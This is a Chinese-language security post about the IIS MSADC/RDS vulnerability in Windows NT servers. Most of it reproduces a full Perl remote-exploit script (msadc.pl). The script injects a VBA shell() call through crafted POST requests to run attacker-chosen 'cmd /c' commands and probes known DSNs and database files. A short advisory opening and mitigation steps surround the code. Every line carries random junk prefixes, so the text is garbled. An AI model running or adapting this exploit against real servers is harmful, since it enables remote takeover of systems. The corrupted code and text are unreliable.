IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
NuF?:L[
<h+UC# .x 涉及程序：
/9SoVU8 Microsoft NT server
\AI-x$5R * 8yOhKEPX 描述：
o+k*ia~Fa 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
ZjY?T)WE9 A ^hafBa 详细：
X LYGhM 如果你没有时间读详细内容的话，就删除:
>Z gV8X: c:\Program Files\Common Files\System\Msadc\msadcs.dll
`l70i2xcj 有关的安全问题就没有了。
b
~]v'|5[ V4Qy^nn1 微软对关于Msadc的问题发了三次以上的补丁，仍然存在问题。
"85)2*+ /={N^8^=x 1、第一次补丁，基本上，其安全问题是MS Jet 3.5造成的，它允许调用VBA shell()函数，这将允许入侵者远程运行shell指令。
u^'X>n)oL# 关于利用ODBC远程漏洞的描述，请参看:
+o,f:Ih `{IL.9 M!f http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm >^,?0HP ][//G|9 2、IIS 4.0的缺省安装设置的是MDAC1.5，这个安装下有一个/msadc/msadcs.dll的文件，也允许通过web远程访问ODBC，获取系统的控制权，这点在很多黑客论坛都讨论过，请参看
;2 ?fz@KZ http://www.microsoft.com/security/bulletins/MS99-025faq.asp XCyb[( 4 m#_M"B.cm 这里不再论述。
&>Z;>6J, [\fwnS_1 3、如果web目录下的/msadc/msadcs.dll/可以访问，那么ms的任何补丁可能都没用，用类似:
E}0g 1jBIi /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
~-sG& u> 的请求，就可以绕过安全机制进行非法的VbBusObj请求，从而达到入侵的目的。 下面的代码仅供测试，严禁用于非法用途，否则后果自负!!!
e*I92 iW9 6h&t% T #将下面这段保存为txt文件，然后: "perl -x 文件名"
\v{HjqVkC 5K&A2zC| #!perl
T~ XKV`LQ #
3)e{{]6 # MSADC/RDS 'usage' (aka exploit) script
y=
8SD7P' #
`d/* sX?k # by rain.forest.puppy
(6 }7z+ #
nsq7dhq # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
T^$`Z. # beta test and find errors!
b
o_`P3 -I*vl use Socket; use Getopt::Std;
+4qR5(W getopts("e:vd:h:XR", \%args);
>lJTS t5{ H |`D3z.c print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
^e\$g2). 9R-2\D] if (!defined $args{h} && !defined $args{R}) {
d mT ZEO print qq~
<w d;W;B Usage: msadc.pl -h <host> { -d <delay> -X -v }
?} E
M, -h <host> = host you want to scan (ip or domain)
-i91nMi] -d <seconds> = delay between calls, default 1 second
#Lk~{ -X = dump Index Server path table, if available
33~8@]b -v = verbose
z 'O+B} -e = external dictionary file for step 5
k1P'Q&Na ]j*uD317 Or a -R will resume a command session
k PA g * '<e$ c ~; exit;}
4}*.0'Hz vw a*'C $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
j`Ek : if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
>xF&>SDC if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
f4f)9n if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
aN,? a@B $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
^ e $!19g if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
z7P~SM Qk|+Gj if (!defined $args{R}){ $ret = &has_msadc;
J5<1 6}* die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
KCp9P2kv. x",ktE>9 print "Please type the NT commandline you want to run (cmd /c assumed):\n"
rmWs o b . "cmd /c ";
CQ{{J{pU" $in=<STDIN>; chomp $in;
Vvfd?G" $command="cmd /c " . $in ;
68<W6z _sL;E<)y( if (defined $args{R}) {&load; exit;}
U(OkTJxv+ tt6GtYrC 1 print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
G-:7,9 &try_btcustmr;
7>0/$i#'Vl n`jG[{3t& print "\nStep 2: Trying to make our own DSN...";
6T_Ya) &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
.SSyW{a3w |]Hr"saO0 print "\nStep 3: Trying known DSNs...";
+n% 8 *F& &known_dsn;
) 7#3n(_np N
K@6U_/W print "\nStep 4: Trying known .mdbs...";
TnKOr~ @* &known_mdb;
c& h8Qk3 YuJ{@"H if (defined $args{e}){
}!|$;3t+c print "\nStep 5: Trying dictionary of DSN names...";
E]a ;Ydf~ &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
q]Xu #: X z/p^C~|} print "Sorry Charley...maybe next time?\n";
Y ;E'gP-J exit;
xh25 *y tWaGCxaE ##############################################################################
7A$mZPKh O@ dK^o sub sendraw { # ripped and modded from whisker
-Edi"B4K sleep($delay); # it's a DoS on the server! At least on mine...
F|oyrG my ($pstr)=@_;
6o(.zk`d socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
/t2H%#v{ die("Socket problems\n");
*Utx 0Me if(connect(S,pack "SnA4x8",2,80,$target)){
k ;SKQN select(S); $|=1;
%503 <j print $pstr; my @in=<S>;
QvOl-Lfc select(STDOUT); close(S);
4N3 O<)C)@ return @in;
k$DRX) e } else { die("Can't connect...\n"); }}
*M>~$h7 w`M`F<_\: ##############################################################################
*1:kIi7_ 7;r3Bxa
Q sub make_header { # make the HTTP request
8$IUit h my $msadc=<<EOT
id`RscV] POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
>f1fvv6 User-Agent: ACTIVEDATA
`JGW8 _ Host: $ip
jzWgyI1b Content-Length: $clen
#~qza ETv, Connection: Keep-Alive
\TDn q!)? Zz 'g&ew o ADCClientVersion:01.06
8f%OPcr& Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
WOeLn[ p=i6~ --!ADM!ROX!YOUR!WORLD!
Xw|-v$'y Content-Type: application/x-varg
v v5rA 6+ Content-Length: $reqlen
Z}SqiT o,0
Z^"| EOT
R'atg
9 ; $msadc=~s/\n/\r\n/g;
fI=p^k: return $msadc;}
G$CSZrP. \-[ >bsg ##############################################################################
!u4eI0?R? t.bM]QU!1 sub make_req { # make the RDS request
?hURNlR_Q my ($switch, $p1, $p2)=@_;
^![7X'!;pt my $req=""; my $t1, $t2, $query, $dsn;
~~t >; VrhHcvnZ if ($switch==1){ # this is the btcustmr.mdb query
"kI lxf3 $query="Select * from Customers where City=" . make_shell();
+<B"g{dLuX $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
\DD4=XGA $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
:gRVa=}= N\?__WlBK7 elsif ($switch==2){ # this is general make table query
;Cty"H, $query="create table AZZ (B int, C varchar(10))";
{CTJX2& $dsn="$p1";}
?UeV5<TewS i`iR7UmHeR elsif ($switch==3){ # this is general exploit table query
q,;wD1_wG $query="select * from AZZ where C=" . make_shell();
|}X[Yg=FG $dsn="$p1";}
;.R)
uCd{= WK#%G elsif ($switch==4){ # attempt to hork file info from index server
9gI im $query="select path from scope()";
SFFJy RCz $dsn="Provider=MSIDXS;";}
E4_,E eC# cw0uLMqr` elsif ($switch==5){ # bad query
vu JE Pn% $query="select";
AOV{@ b( $dsn="$p1";}
_?I*::
I #)S&Z><< $t1= make_unicode($query);
7lwFxP5QT $t2= make_unicode($dsn);
) <w`:wD $req = "\x02\x00\x03\x00";
XSh [#qJ $req.= "\x08\x00" . pack ("S1", length($t1));
&W `7 b< $req.= "\x00\x00" . $t1 ;
]z# Ita; $req.= "\x08\x00" . pack ("S1", length($t2));
''z]o#=^9 $req.= "\x00\x00" . $t2 ;
;!3: 3; $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
P1$D[aF9$ return $req;}
X_,R!$wbg: (FGH t/! ##############################################################################
V <ilv< |BD2=7,z sub make_shell { # this makes the shell() statement
Y^ 8'P /A return "'|shell(\"$command\")|'";}
WU,b<PU & EV|W:;Sg ##############################################################################
_[wG-W/9R hVd_1|/X sub make_unicode { # quick little function to convert to unicode
#|=lU4Bf my ($in)=@_; my $out;
g{2~G6%;0 for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
hyhm{RC?[ return $out;}
~Ra8(KocD : wUi&xw ##############################################################################
rD !GEU 2{oQ sub rdo_success { # checks for RDO return success (this is kludge)
oMoco tQ;$ my (@in) = @_; my $base=content_start(@in);
l2Rnyb<;; if($in[$base]=~/multipart\/mixed/){
it-2]Nw return 1 if( $in[$base+10]=~/^\x09\x00/ );}
E!L_"GW return 0;}
J 5x ZL v ]4K4Nh~ ##############################################################################
X7tBpyi tv:
mjS sub make_dsn { # this makes a DSN for us
3h A5"G+7 my @drives=("c","d","e","f");
#n|eq{fkK print "\nMaking DSN: ";
h$%h w+"4 foreach $drive (@drives) {
Ya!P V&"Z print "$drive: ";
'tX}6wurf my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
mSk";UCn "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
WQB V~.<Yv . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
G %K&f1q% $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
xNLgcb@v> return 0 if $2 eq "404"; # not found/doesn't exist
q:vGG K^ if($2 eq "200") {
8{6`?qst@ foreach $line (@results) {
f*p=j(sF return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
,;<M+V3+ } return 0;}
PO:sF]5 $gL ^\(_3H ##############################################################################
w`dS c@ : HLc3KYIk sub verify_exists {
<$K7f my ($page)=@_;
f=8{cK0j my @results=sendraw("GET $page HTTP/1.0\n\n");
lW4 6S return $results[0];}
i4M%{]G3Y M(^ e)7a1 ##############################################################################
\# F>R, 5%@~"YCo sub try_btcustmr {
b P V;" my @drives=("c","d","e","f");
VS_I'SPPIc my @dirs=("winnt","winnt35","winnt351","win","windows");
s
E;2;2u" ni<\ AF]` foreach $dir (@dirs) {
8u1?\SYnb print "$dir -> "; # fun status so you can see progress
<vxTfE@>bp foreach $drive (@drives) {
}2Y`Lr print "$drive: "; # ditto
"x
3C3Zu.; $reqlen=length( make_req(1,$drive,$dir) ) - 28;
*,=8x\Shp $reqlenlen=length( "$reqlen" );
? Y luX $clen= 206 + $reqlenlen + $reqlen;
80Q%c ( i K=pG,[ChA my @results=sendraw(make_header() . make_req(1,$drive,$dir));
N-45LS@ if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
"}oo`+]Cq else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
UoSc<h| 7)FYAk$@ ##############################################################################
joNV4v"=` >Qg-dJt[ sub odbc_error {
xokA_3,1F my (@in)=@_; my $base;
t{`krs`` my $base = content_start(@in);
us.IdG if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
:X}Ie P $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
kX)*:~* $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
0+.<BOcW5 $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
Xc~BHEp return $in[$base+4].$in[$base+5].$in[$base+6];}
5Y@Hb!5D print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
O]@s` w print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
IfY?P(P $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
SN[ar&I P5GV9 SA ##############################################################################
Rh ) %; `f <w+u sub verbose {
b.9[Vf_G my ($in)=@_;
HJ d{j,M return if !$verbose;
?>gr9w\ print STDOUT "\n$in\n";}
S9'Xsh / wkrfYRs ##############################################################################
MIN}5kc< O:imX>|u sub save {
i 8%@4U/ J my ($p1, $p2, $p3, $p4)=@_;
sI{?4k open(OUT, ">rds.save") || print "Problem saving parameters...\n";
K1&t>2=% print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
_3#_6>=M close OUT;}
$)KNp dXh SQ'%a-Mct ##############################################################################
9 aK U}y QB ;TQZ sub load {
'+c@U~d*7 my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
lAo4) open(IN,"<rds.save") || die("Couldn't open rds.save\n");
Y3 -f68*( @p=<IN>; close(IN);
(Bv~6tj~J $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
gtqtFrleG $target= inet_aton($ip) || die("inet_aton problems");
S@TfZ3Go| print "Resuming to $ip ...";
<Ynrw4[)t $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
~n(LBA if($p[1]==1) {
`\/\C[Gg $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
$FZcvo3@*S $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
B$7C jv my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
^/xb-tuV if (rdo_success(@results)){print "Success!\n";}
@xk ;]H80 else { print "failed\n"; verbose(odbc_error(@results));}}
t[A A= elsif ($p[1]==3){
|qU~({=b if(run_query("$p[3]")){
43~v1pf{! print "Success!\n";} else { print "failed\n"; }}
H. o3d/8: elsif ($p[1]==4){
C^:{y if(run_query($drvst . "$p[3]")){
~4xn ^.w print "Success!\n"; } else { print "failed\n"; }}
ID<[=es6 exit;}
KTeR;6oZn" k`s_31< ##############################################################################
kL <HG Qt Z>dvth sub create_table {
r"t,/@`n my ($in)=@_;
7f<@+& $reqlen=length( make_req(2,$in,"") ) - 28;
1Ve~P"w $reqlenlen=length( "$reqlen" );
~B 7<Yg $clen= 206 + $reqlenlen + $reqlen;
VZ7E#z+nM# my @results=sendraw(make_header() . make_req(2,$in,""));
0_=^#r4Mu return 1 if rdo_success(@results);
}1Q> A 5e my $temp= odbc_error(@results); verbose($temp);
ZS `9r16@b return 1 if $temp=~/Table 'AZZ' already exists/;
;q#Pl!*5 return 0;}
Q!I><u j(M.7Z7^ ##############################################################################
Bw9O)++ Xo 6zeLHO sub known_dsn {
-U\s.FI.AR # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
$+,kibk*R my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
g!)*CP#; "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
5,\|XQA5! "banner", "banners", "ads", "ADCDemo", "ADCTest");
V >~\~H2Y ^S)t;t@x foreach $dSn (@dsns) {
7ZUS print ".";
m\_v{1g next if (!is_access("DSN=$dSn"));
57_AJT hR if(create_table("DSN=$dSn")){
2tQ?=V(Di print "$dSn successful\n";
_{GD\Ai _W if(run_query("DSN=$dSn")){
9V;A + d, print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
E
0@u| print "Something's borked. Use verbose next time\n";}}} print "\n";}
E5a7p. qa4j>; ##############################################################################
hZ')<@hNP =4OV
}z= I sub is_access {
#T 8Pgm R my ($in)=@_;
`3z6y& dmx $reqlen=length( make_req(5,$in,"") ) - 28;
^+kymZ $reqlenlen=length( "$reqlen" );
@ 0/EKWF $clen= 206 + $reqlenlen + $reqlen;
$J0o%9K
my @results=sendraw(make_header() . make_req(5,$in,""));
!LsIHDs4 my $temp= odbc_error(@results);
nB}eJD| verbose($temp); return 1 if ($temp=~/Microsoft Access/);
PtGFLM9R return 0;}
8?w#=@ s A-h[vP!v| ##############################################################################
.}E@ 7^X D4?cnwU sub run_query {
aPX'CG4m my ($in)=@_;
j!@, r^( $reqlen=length( make_req(3,$in,"") ) - 28;
x Vw1 $reqlenlen=length( "$reqlen" );
OU*skc> $clen= 206 + $reqlenlen + $reqlen;
S8C} C# my @results=sendraw(make_header() . make_req(3,$in,""));
E/gfX
return 1 if rdo_success(@results);
i 1 GQ=@ my $temp= odbc_error(@results); verbose($temp);
<)"2rxX&5 return 0;}
O8-Z >; a%QgL&_5 ##############################################################################
lXD=uRCI .sb0|3& sub known_mdb {
M[e^Z}w.V my @drives=("c","d","e","f","g");
JZE<oQ_Jm my @dirs=("winnt","winnt35","winnt351","win","windows");
di<g" 8 my $dir, $drive, $mdb;
+;bZ(_ohG my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
:*cd$s 'CRjd~L # this is sparse, because I don't know of many
-67!u; my @sysmdbs=( "\\catroot\\icatalog.mdb",
3@1$y`SN "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
G\(*z4@G z "\\system32\\certmdb.mdb",
T y*+?#` "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
n} ]gAX hb> uHUb& my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
m]}EVa_I`/ "\\cfusion\\cfapps\\forums\\forums_.mdb",
pezfB{x? "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
{J/+KK "\\cfusion\\cfapps\\security\\realm_.mdb",
]1I-e2Q-J "\\cfusion\\cfapps\\security\\data\\realm.mdb",
OUN"'p%% "\\cfusion\\database\\cfexamples.mdb",
yvnvI y "\\cfusion\\database\\cfsnippets.mdb",
!P6?nS "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
m &[(xVM "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
( v$
i "\\cfusion\\brighttiger\\database\\cleam.mdb",
Qz$Wp* "\\cfusion\\database\\smpolicy.mdb",
_P%PjFQ)
"\\cfusion\\database\cypress.mdb",
\7e 4t "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
KYq<n& s "\\website\\cgi-win\\dbsample.mdb",
0;%\L :,O "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
; NO#/ "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
H) rJ >L ); #these are just
:]LW,Eql foreach $drive (@drives) {
ojV N -*5
foreach $dir (@dirs){
;)ERxMun foreach $mdb (@sysmdbs) {
sGa " print ".";
Vq^b_^ if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
O f eM;) print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
xX8 c> p if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
MYVb ! print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
OK
z5;#S= } else { print "Something's borked. Use verbose next time\n"; }}}}}
WY26Iq@C nd5.Py$ foreach $drive (@drives) {
2\F'So foreach $mdb (@mdbs) {
sBNqg~HwB? print ".";
}T5 3y6J# if(create_table($drv . $drive . $dir . $mdb)){
<d{>[R) print "\n" . $drive . $dir . $mdb . " successful\n";
ZR8y9mx2" if(run_query($drv . $drive . $dir . $mdb)){
V-"#Kf9 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
!.O;SG } else { print "Something's borked. Use verbose next time\n"; }}}}
%PPkT]~\ }
C\ 3 4R 6HH:K0j 3' ##############################################################################
u5`b")a T
^/\Rr sub hork_idx {
" J ` # print "\nAttempting to dump Index Server tables...\n";
BiZYGq print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
tw]
l $reqlen=length( make_req(4,"","") ) - 28;
dd4^4 X`j $reqlenlen=length( "$reqlen" );
ho!qXS $clen= 206 + $reqlenlen + $reqlen;
TnuA uui* my @results=sendraw2(make_header() . make_req(4,"",""));
EV;"]lC9 if (rdo_success(@results)){
52r\Q}v$ my $max=@results; my $c; my %d;
j
~I_ by for($c=19; $c<$max; $c++){
4U N|`'c $results[$c]=~s/\x00//g;
M1*x47bN $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
P|a|4Bb+fW $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
d-I=x pB $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
ifmX<'(9 A $d{"$1$2"}="";}
*#GX~3A foreach $c (keys %d){ print "$c\n"; }
H8E#r*"-m } else {print "Index server doesn't seem to be installed.\n"; }}
_OK!/T*FBt m5W':vM ##############################################################################
%B\VY+ W>[TFdH? sub dsn_dict {
dSS Ai
|} open(IN, "<$args{e}") || die("Can't open external dictionary\n");
+}BKDEb while(<IN>){
]@l;;Sp $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
O_*tDq, e next if (!is_access("DSN=$dSn"));
_ ?XR;2 ] if(create_table("DSN=$dSn")){
s|R`$+ '{ print "$dSn successful\n";
`*B6 T7p1 if(run_query("DSN=$dSn")){
D$`$4mX@hP print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
xk^`4; print "Something's borked. Use verbose next time\n";}}}
yx7y3TSq print "\n"; close(IN);}
CH6;jo] 0 4 a@ ##############################################################################
0Q]{r ) 'Xa sd3*Py sub sendraw2 { # ripped and modded from whisker
t ;y@;?~ sleep($delay); # it's a DoS on the server! At least on mine...
>Hd!o"I my ($pstr)=@_;
hKe ms3 socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
NQN?CBFQ die("Socket problems\n");
zGP@!R`_ if(connect(S,pack "SnA4x8",2,80,$target)){
}'uV{$ print "Connected. Getting data";
];u nR<H open(OUT,">raw.out"); my @in;
_A=i2?g select(S); $|=1; print $pstr;
bc2S?u{ while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
)
gxN' z close(OUT); select(STDOUT); close(S); return @in;
IY hn* } else { die("Can't connect...\n"); }}
0.B'Bvn=s2 1W7ClT_cQ ##############################################################################
"_\77cqpTh 9CZ EP0i7 sub content_start { # this will take in the server headers
i~m;Ah,# my (@in)=@_; my $c;
g? C<@ for ($c=1;$c<500;$c++) {
$Ut1vp 1$ if($in[$c] =~/^\x0d\x0a/){
DyRU$U if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
8(H!iKHe else { return $c+1; }}}
o\nFSG kn return -1;} # it should never get here actually
- I~\ o9Tsyjbj ##############################################################################
:T#f&|Gg; Mp@dts/| sub funky {
=3GgfU5 k my (@in)=@_; my $error=odbc_error(@in);
~;oa W<" if($error=~/ADO could not find the specified provider/){
ra1_XR} print "\nServer returned an ADO miscofiguration message\nAborting.\n";
{G=|fgz exit;}
?%b#FXA if($error=~/A Handler is required/){
+rKV*XX@ print "\nServer has custom handler filters (they most likely are patched)\n";
zOis}$GR exit;}
Z
jXn,W]~ if($error=~/specified Handler has denied Access/){
35fj-J$8 print "\nServer has custom handler filters (they most likely are patched)\n";
2>xEE exit;}}
H$6;{IUz~ M4t:)!dji? ##############################################################################
pwNF\ ={ Z5"5Ge-M sub has_msadc {
, fh K my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
RZ?abE8 my $base=content_start(@results);
nMBF/75 return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
<{z-<D; return 0;}
N\ fj[?f[ Wyb+ K)Tg ########################
z#d*Odc -s 7a\H{~ zo1 fUsK? 解决方案：
>ni0:^vp 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
w`F'loUEt 2、移除web 目录: /msadc
